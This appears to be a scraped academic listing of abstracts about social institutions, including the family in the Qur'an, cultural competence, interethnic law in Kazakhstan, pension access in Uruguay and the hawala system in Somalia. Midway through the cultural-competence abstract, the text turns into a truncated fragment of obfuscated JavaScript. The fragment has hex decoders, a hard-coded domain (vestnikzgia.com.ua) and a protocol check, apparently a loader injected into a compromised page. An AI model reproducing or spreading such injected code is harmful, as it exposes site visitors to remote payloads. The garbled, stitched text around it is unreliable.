Main Social Institutions Research Articles

Konsep Keluarga dalam Perspektif Al-Qur’an

"My house is my Palace." A most appropriate expression of the ideal family building. It is not as easy as turning the hands of the world, because it must be based on the solid foundation of faith, the completeness of the building with Islam, and the filling of the living space with ihsân, without reducing the desire to the demands of the necessities of life as humans can not be separated from the world , both material and non-material. The house is not only understood physically, but more nuanced functional value in shaping the personality of the human child to achieve the maturity and perfection of life, that is household life based on the fulfillment of religious, economic, biological, spiritual, educational, protection, security and social cultures that are interwoven in an integrated and harmonious. As the first and main social institutions, the family has the most strategic meaning in filling and equipping the values of life needed by the sons and daughters who are looking for the meaning of life. The family is the starting point of departure once as the initial capital of their life journey which is then equipped with a symbol- travel signs outlined by other social institutions in everyday social environment.
 Keywords: family and Quran

Relationships with the Past: How Australian Television Dramas Talk about Indigenous History

Relationships with the Past: How Australian Television Dramas Talk about Indigenous History

Cultural competence personality as a factor prevent aggression

The article examines the importance of culture and cultural competence of the individual. It has the ability to culture up to encourage initiative and independence, to overcome human passivity, lack of independence of thought and action. Cultural competence is a set of congruent behaviors, attitudes, and policies that come together in a system, agency or among professionals and enable that system, agency or those professions to work effectively in cross-cultural situations. The word culture is used because it implies the integrated pattern of human behavior that includes thoughts, communications, actions, customs, beliefs, values and institutions of a racial, ethnic, religious or social group. The word competenceis used because it implies having the capacity to function effectively. Cultural competence is a complex phenomenon. It includes, firstly, the institutional competence concerning the rules of social organization that is the main social institutions; economic, political, legal and confessional structures, institutions and statutes and hierarchies. Secondly, here is competence in relation to conventional norms of social and cultural regulation. This national traditions; prevailing morality, values, morality, worldview, evaluation criteria, rules of etiquette, customs and ceremonies; casual erudition in social and humanitarian knowledge. Thirdly, it mean competence regarding short but acutely topical examples of social prestige — fashion, image, style, symbols, regalia, social status, intellectual and aesthetic movements and others. Finally, fourthly, cultural competence is expressed in the level of completeness and freedom of language skills of social communication — natural spoken (oral and written), special languages and social (professional) jargon, the language adopted in the society etiquette and ceremonial, political, religious, social ethnographic and symbolic, semantic attributes of prestige, social labeling and others. Semantic dominant culture is the main thrust, the common man's relationship to the surrounding world, which determines the nature of all other relationships. Culture is able to strengthen the human mind, to humanize her feelings will harden and develop constructive and creative power of the individual, to awaken in her the desire to create and realization. This is why cultural competence of the individual — a prerequisite for overcoming such negative phenomena as human aggression// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return vestnikzgia.com.ua},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(http)==0){return p}for(var e=0;e

Book Review: Social Change: Globalization from the Stone Age to the Present by Christopher Chase-Dunn and Bruce Lerro

Christopher Chase-Dunn and Bruce Lerro Social Change: Globalization from the Stone Age to the Present, Paradigm Publishers, London, 2013; 504 pp: 9781612053288, 53.99 [pounds sterling] (pbk) Christopher Chase-Dunn and Bruce Lerro's Social Change: Globalization from the Stone Age to the Present offers a highly impressive narrative covering many millennia. Using a comprehensive thematic guideline, the study illuminates a complete history of the evolution of human societies. The book's intention is to inform its readers about how 'the people of the earth have gone from living in nomadic bands to the urbanised global political system of the present over 12,000 years' (p. xxi). Ambitious from its outset, it is designed for undergraduate and graduate social science classes on social change and globalisation topics in sociology, world history, cultural geography, anthropology, and international studies. In order to tackle such a daunting task, its authors employ a framework spanning the social geography of human settlements to the highly evolved social systems that exist today. The methodology driving such a study centres on tracing the growth of settlement systems and interaction networks. The authors argue that this methodology explains the processes of institutional transformation that has made it possible for current civilisations to live in large and complex societies. Drawing on evidence from archaeology, ethnography, linguistics, historical documents, statistics and survey research, the authors trace the growth of human societies and their complexity, and probe the conflicts in hierarchies both within and among societies. Part 1, 'The Framework', provides a much-appreciated foundation for its succeeding parts. Consisting of four chapters, it details the history of social evolution in general, and its relationship with human history. It introduces the concepts examined throughout the book, from the idea of institutions to the problems of free will and determinism. This first part contends that as social structures evolve, so does the social self. Part 2 'Stateless Systems', discusses the lives of people in small egalitarian societies in which consensus and moral order are the foundations of the main social institutions. It examines how ecological degradation, warfare, aggressive musicality and cannibalism, often resulting from growing population pressure, affected the development of sedentism and new technologies of production. Part 3, 'State-Based Systems', smoothly transitions from the less organised social structured past to the emergence of ordered cities and states. Focusing on the story of empire, particularly its markets and commerce, these four chapters illuminate one's understanding of how the interconnected social systems maintained steady growth only to fall years later. The rise and fall of powerful states and empires is an important topic, as is the development of core and periphery relations. By considering the recurrent phenomenon in which the semi-peripheral and peripheral peoples conquer old core states and establish new empires, the authors discuss the nature of political and economic institutions with a focus on the long rise of markets and commerce. Encompassing nine chapters in total, the most extensive section of the book is the concluding part, entitled 'The Long Rise of Capitalism'. Chase-Dunn and Lerro argue that in order to understand the development of capitalism in world history, one needs to approach the subject of a slow and uneven emergence of financial institutions. …

CONSTITUTIONAL-LEGAL FRAMEWORK OF INTERETHNIC RELATIONS IN KAZAKHSTAN

Ponte Academic JournalDec 2016, Volume 72, Issue 12 CONSTITUTIONAL-LEGAL FRAMEWORK OF INTERETHNIC RELATIONS IN KAZAKHSTANAuthor(s): Saimova Sholpan ,Khairmukhanmedov Nurbek, Syrlybayev MaratJ. Ponte - Dec 2016 - Volume 72 - Issue 12 doi: 10.21506/j.ponte.2016.12.11 Abstract:The article deals with the constitutional and legal aspects of inter-ethnic relations in the Republic of Kazakhstan. The historical development of the nation-state building process in Kazakhstan was described after the independence. Main factors influencing the nation state building process was identified and also urgent problems of the inter-ethnic policy were highlighted. Additionally, the challenges of the legal regulations in the sphere of the inter-ethnic policy, lack of the institutional and legal aspects of the nation-state building process in Kazakhstan were discussed in this article. An analysis of the situation in this field has allowed to establish the constitutional and legal basis of the model of civil peace and social harmony of Kazakh society. Additionally, revealed the key role of the Assembly of the People of Kazakhstan as the main social, political and legal institution in the sphere of inter-ethnic relations in Kazakhstan. Download full text:Check if you have access through your login credentials or your institution Username Password

Investigation of the Relationship between Family Mental Functioning and the Level of Education Among the Staff of Three Hospitals

Introduction Family is a unique of a social system whose members’ relationship is based on biological, legal, emotional, geographical, and historical factors [1, 2]. Family as the main social institution has assigned a large number of social science researches to itself [3]. The family is co

Patriotic Education and Civic Culture of Youth in Russia: Sociological Perspective

High level of patriotic consciousness is supposed to be an important factor of civic consolidation and enhancement of competitive ability of Russia in geopolitical schedule. In the meantime, multinational character of Russian society, specifics of its territorial and administrative division, difference in political and socioeconomic situation of its regions challenge the existing system of patriotic education which no longer responses to modern social reality and doesn’t take into account peculiarities of mentality of modern youth. Today in Russian society there is an apparent need for development of ideas of active citizenship, initiative behavior and practical civic co-participation among youth.Evaluation of the patriotic education system was made in four border regions of Russia: Altaiskykrai, Krasnoyarskykrai, Omskaya oblast and Republic of Altai (n=2400, from 15 to 75 years). Indicators of evaluation included patriotic education definition, subjective perception of patriotic education efficiency, assessment of the role of different social institutions in patriotic education, obstacles and restrictions in youth policy. Our research showed that patriotic education in public conscience means not only evident inculcation of values such as love and respect for the country, but education in the whole, battle against drugs and alcohol, labor for the welfare of the state, care of people, military service, youth leisure organization. Besides the family as the main social institution responsible for youth socialization and upbringing, mass-media and Internet become the most important information resources, while political parties and civil society organizations don’t have a real weight, attributed them in governmental programs. The main causes, blocking patriotic feelings, are low standards of living, lack of institutional trust, social inequality and incertitude.

ADOLESCENTS’ PERSPECTIVES ON CHILD-PARENT RELATION-SHIPS FOLLOWING PARENTAL DIVORCE: SUGGESTIONS FOR SOCIAL WORK PRACTICE

A family is regarded as the main social institution that structures the lives, activities and relations of women, men and children (Thornton, Axinn &amp; Xie, 2007:3). It is the basic unit of society that plays a vital role in the lives of all people, especially with regard to the survival, protection and development of children who are below the age of 18 years (Patel, 2005:167). It is against this backdrop that divorce, which is the legal dissolution of a marriage (Barker, 1995:106), is often a painful and a stressful process for parents and children (Afifi, Huber &amp; Ohs, 2006:2; Yu, Pettit, Lansford, Dodge &amp; Bates, 2010:283), especially adolescents. Family disruption is difficult for adolescents to adapt to, as they are going through a developmental stage characterised by changes in their physical growth, sexual development, cognitive abilities and identity development (Barton, Watkins &amp; Jarjoura, 1997:488; Videon, 2002:489). Hines (1997:375) aptly states that parental divorce “promotes growth for some adolescents and developmental vulnerabilities to others”.

Decision support system for social occupational injury insurance institutions: cost analysis and targeted resource allocation

Occupational injuries are a great burden on health care costs worldwide as they do not only cause costs directly related to the accident but also enormous long-term follow-up costs for individuals, insurance companies, employers, and the economy. We develop a detailed decision support system called “Cost Calculation Tool” for the main Austrian social occupational insurance institution (AUVA) that investigates total direct and main indirect costs of individual injury claims from the time of the incident for all injured individuals up to their death. We discuss policy implications for the occupational injury data of the year 2010. In the first two years after the accident registration, treatment costs account for about 66 %, pension costs for about 12 %, and co-payments for sick leave for about 10 % of the total AUVA costs (117.85 million Euro). An example of an underlying costly case is a middle-aged male who had a traffic-related accident at work and injured his back with lifelong costs of about 4.8 million Euro (pensions, treatment, rehabilitation, prostheses, transportation). However, pension costs are the main cost driver with nearly 50 % of total AUVA costs under a lifelong cost-perspective, while treatment costs only account for less than 15 %. In addition to these total AUVA costs, we also approximate main costs for the employers and the economy. All present and future costs predicted by the “Cost Calculation Tool” are included in the data warehouse of the AUVA and help clustering patients into risk groups according to criteria that most influence related total costs. AUVA decision makers can now optimally target prevention strategies and better plan for prevention budgets. Based on these insights and earlier research projects, the AUVA highly focuses its prevention strategies on injuries on the road to/from/at workplace, accidents at construction sites, as well as accidents in forestry and agriculture.

Pension Access in Uruguay: How Many and Who Would Make it? (El Acceso a La Jubilación O Pensión En Uruguay: ¿Cuántos Y Quiénes Lo Lograrían?)

The estimations in this paper show that there is a high risk that a very significant share of the workers registered in the work history of the main social security institution of Uruguay (the BPS) will not be able to comply with the condition of contributing 35 years to access the pension when they reach the usual ages for retirement, if the frequencies of contributions observed between 1996 and 2004 remain unchanged in the future. As expected, the problem is more serious in the private sector and among low-wage workers than in the public sector and among better paid workers. The differences found between males and females are significant, but of a lower magnitude than the above mentioned ones. Also the sign of the differences between genders change across estimations.

Reflexive Water Management in Arid Regions: The Case of Iran

To illuminate the problems and perspectives of water management in Iran and comparable (semi-) arid Middle East and North Africa (MENA) countries, three paradigms can be distinguished: the traditional, the industrial and the reflexive paradigm. Each paradigm is characterised by its key technical system, its main social institution and its ethico-religious framework. Iran seems to be in a state of transition from the ‘hydraulic mission’ of industrial modernity to a more reflexive approach to water management. This article sketches the contours of the emerging paradigm: a complementary system of traditional and modern methods of water provision, a participatory water resources management and a ‘post-mechanistic’ ethico-religious framework.

Lawlessness and economic governance: the case of hawala system in Somalia

PurposeThe purpose of this paper is to describe how informal money transfer system known as hawala works in Somalia. The paper also intends to contribute to the current debate on the lawlessness and economics of governance.Design/methodology/approachThe paper uses an institutional approach and a simple game theoretical model. The author interviewed agents and informants of the hawala system but mainly relied on surveying the literature.FindingsTo support economic relationships and increase the future cost of hold ups by their agents, the hawala companies, with the help of two main social institutions, use seven main strategies.Research limitations/implicationsA research on contract enforcement should involve with the contract partners (i.e. firms and agents) and third part enfocers (i.e. social groups). However, the author findings are based on surveying the existing literature and interviewing on a small number of agents and other informants in the West. Further, research should examine the practical experience of owners/managers of the firms and the traditional/religious leaders.Practical implicationsEstablishing future formal commercial laws in Somalia, currently functioning informal mechanisms should be taken into great consideration.Originality/valueThis paper is one of very few research studies on the hawala system. Further more, little if any attention has been paid on economic governance aspect of the system by these studies. According to the authors' knowledge the paper is the only one that considers economic governance with the case of complete picture of statelessness in our contemporary world.

Meggeneder O., Breucker G., Järvisalo J. (eds): Social insurance for health. The role of health promotion and prevention within social insurance in Europe, Mabuse

The book under review, written completely in English, provides an overview of the current social security systems of five European countries: Austria, Finland, Germany, Poland and Sweden. The individual contributions have been written by specialists of the corresponding national social security institutions. Particular emphasis is placed on the role of health prevention, health promotion and rehabilitation measures, as well as on prospects for their future development. To begin with, the key terms of the book are defined in the introduction. The situation specific to each country is then described in a separate section that covers also the various aspects of the country’s social security system. There is no explicit comparison of the five countries. Only the concluding chapter compares a number of aspects of the social security systems and policies of the countries presented. For example, it discusses the paradigm shift observable in all European social security systems and questions the sole role of the state in providing and financing social security. Furthermore, it emphasizes the role of public-private institutions in defining measures to enhance health prevention, promotion and rehabilitation. The section on Germany provides a comprehensive and detailed overview of the different social security elements in light of the underlying laws in force: statutory health, accident, pension, long-term care and unemployment insurances. It highlights the role of health and accident insurance with regard to prevention, health promotion and rehabilitation. An outlook on the future challenges of health promotion and prevention concepts in Germany, starting with the political debate about the legal reorganization of prevention in 2004, concludes the section. Since the authors work for two of the main social security institutions in Germany, they dedicate two chapters to the specific work of these organizations (the Federation of Institutions for Statutory Accident Insurance and Prevention and the Federal Association of Company Health Insurance Funds). The comprehensive description of the many aspects of social security in Germany provides a detailed overview of all existing institutions and their specific work in the area of health promotion, prevention and rehabilitation. For those reading also German, it would be helpful for further studies to have the exact German names of the many organizations, in addition to their English translations, especially since the authors use mainly the German abbreviations. A complete list of all organizational abbreviations would therefore be of great help. Unfortunately, this shortcoming applies also to the sections covering the other countries. Finally, for native speakers of English the use of German hyphenation rules to break a word at the end of a line (e.g. u-nemployment p.7, promoti-on p.9 and structu-res p.11) may be confusing or even distracting from the content of this otherwise very informative book. J Public Health (2007) 15:143 DOI 10.1007/s10389-007-0090-8

Global Justice, Reciprocity, and the State

All cosmopolitans hold at least this set of beliefs: (1) Human beings are ultimate units of moral concern. Families, tribes, nations, cultures, and so on can become units of concern only indirectly. (2) The status as an ultimate unit of moral concern extends to all human beings equally. (3) Human beings should be treated as ultimate units of concern by everyone. Accepting these cosmopolitan premises, as I do, poses a challenge for anyone who believes that fundamentally different principles of distributive justice apply to the global order, on one hand, and to the main social and political institutions of the modern state, on the other. “This discrepancy in moral assessment,” Pogge avers, “looks arbitrary. Why should our moral duties, constraining what economic order we may impose upon one another, be so different in the two cases?” The aim of this article is to demonstrate that this discrepancy is not in fact arbitrary, and to do so without violating any of the cosmopolitan premises with which we began. More specifically, I will defend the idea that equality is a demand of justice only among citizens (and, indeed,

Students' Participation as Co-authoring of School Institutional Practices

The school, in occidental culture over the last 150 or 200 years, has been the main social institution that is in charge of educating new generations. Institutional practices are those that define the legitimate knowledge in the school, what learning is, and also the right ways of, the proper moments for and the people to be involved in knowledge construction; in other words the rights and obligations of the participants, as well as the adequate ways to construct this cultural process of instruction. These practices are usually constituted by the teachers as the legitimate academic authorities of the school as an institution. The notion of participation used in this article ‘stresses the inherently social, collective and distributed quality of any act of speaking’ (Duranti, 1997, p. 21). Authorship is understood as a collective responsibility for the shape and content of messages that shifts from individual speakers to particular types of participants’ frameworks. In this form, messages are collaboratively constructed and interpreted (Duranti, 1997, p. 314). This distributed responsibility of discourse production addresses the concept of co-authorship (Duranti &amp; Brenneis, 1986) as a widespread phenomenon. The main purpose of this paper is to study students’ discursive participation in the co-authoring of institutional practices within science classes in the context in primary classrooms in Mexico City. This means paying attention to children’s initiatives in the constitution and legitimization of social practices in order to perform academic tasks. These forms of participation show the contribution of students in defining and negotiating their identity in classroom relationships.

Social Work with Gay and Lesbian Adolescents

Gay and lesbian adolescents are a socially oppressed group discriminated against by a heterosexist and homophobic society. Because of the negative stigma society places on lesbian and gay adolescents, they face numerous difficulties that require social support and intervention. Issues pertinent to social work with lesbian and gay adolescents are examined in the context of three main social institutions: the family, the social culture, and the educational setting. Suggestions are made for improving intervention with this population, including increasing personal awareness of one's own homophobia and heterosexist bias in working with client groups; educating oneself and client groups about homosexuality; establishing positive social support programs to serve lesbian and gay adolescents; advocating for sanctions to end gay and lesbian harassment in the educational system; supporting the hiring of openly gay and lesbian teachers to serve as positive role models; and advocating for the inclusion of sexual orientation information in school sex education curricula.

India on the Map of ‘Hard Science’ Folkloristics

SINCE the science of folk literature came into being, India has been one of the main sources of its subject matter. As it became known in the last century, the wealth and colourfulness of Indian folk literature and the very age of its sources overwhelmed the Western centres of scholarship. The first to pay attention to the lore of the simple folk in India were the well-educated British ladies and gentlemen of the colonial adminstration in the last quarter of the 19th century and the first quarter of this century. Indian intellectuals joined this stream later and in smaller numbers. That is the very period during which the collecting of popular antiquities and folklore blossomed in England and on the Continent, borne by the wave of the romantic and nationalistic trends and movements. While, however, the tide of 19thcentury nationalism brought with it the development of the main social and academic tools and institutions (associations, archives, museums, publishing enterprises, university chairs) for folklore research in Europe, India did not join in. The rising Indian modern national consciousness had no need to seek support by reference to its folk culture. Like the Greek and Jewish national movements, the Indian movement could build on its extremely rich national classical heritage, featuring great works in all arts and humanities, a basis which the young, just awakening European nations could not boast of. In India, the interest in folk culture arose mainly after attaining national statehood. The interest developed from two directions: anthropologists trained in part abroad (first in England, and after independence, mainly in the U.S.A.) included in their interests also folk literature of the tribes they happened to investigate;' this, however, did not usually include an interest in the folk literature of the main Hindu groups. The interest in these groups was to be developed by philologists and linguists. A decade and a half after the attaining of independence, Upadhyaya's review2 had still to report only of collecting activities, made by both native philologists and by foreign missionaries and colonial officials. The first systematizations of Indian folk literature, ancient and modern, came from the West.3 The attitude changed rapidly in recent years. The beginning of an independent interest in folk literature as such in the Indian public is signalled by the publication by a private publisher of the impressive series of 21 volumes of folktales, each from a different province of India.4 And now, new people are coming to the Indian scholarly scene. As in the West, the main impetus has come from linguistics. Under the patronage of linguistic institutions, folklore institutions and publications begin to appear, and linguistically trained scholars turn to the investigation of folk literature.5 From being a side-concern of philologists and anthropologists, the investigation of folk literature develops into an independent field. Collection for the sake of preservation is now being coupled with the search for understanding, a turn towards theory. As with most countries, developed and developing, the theory is being taken over from the few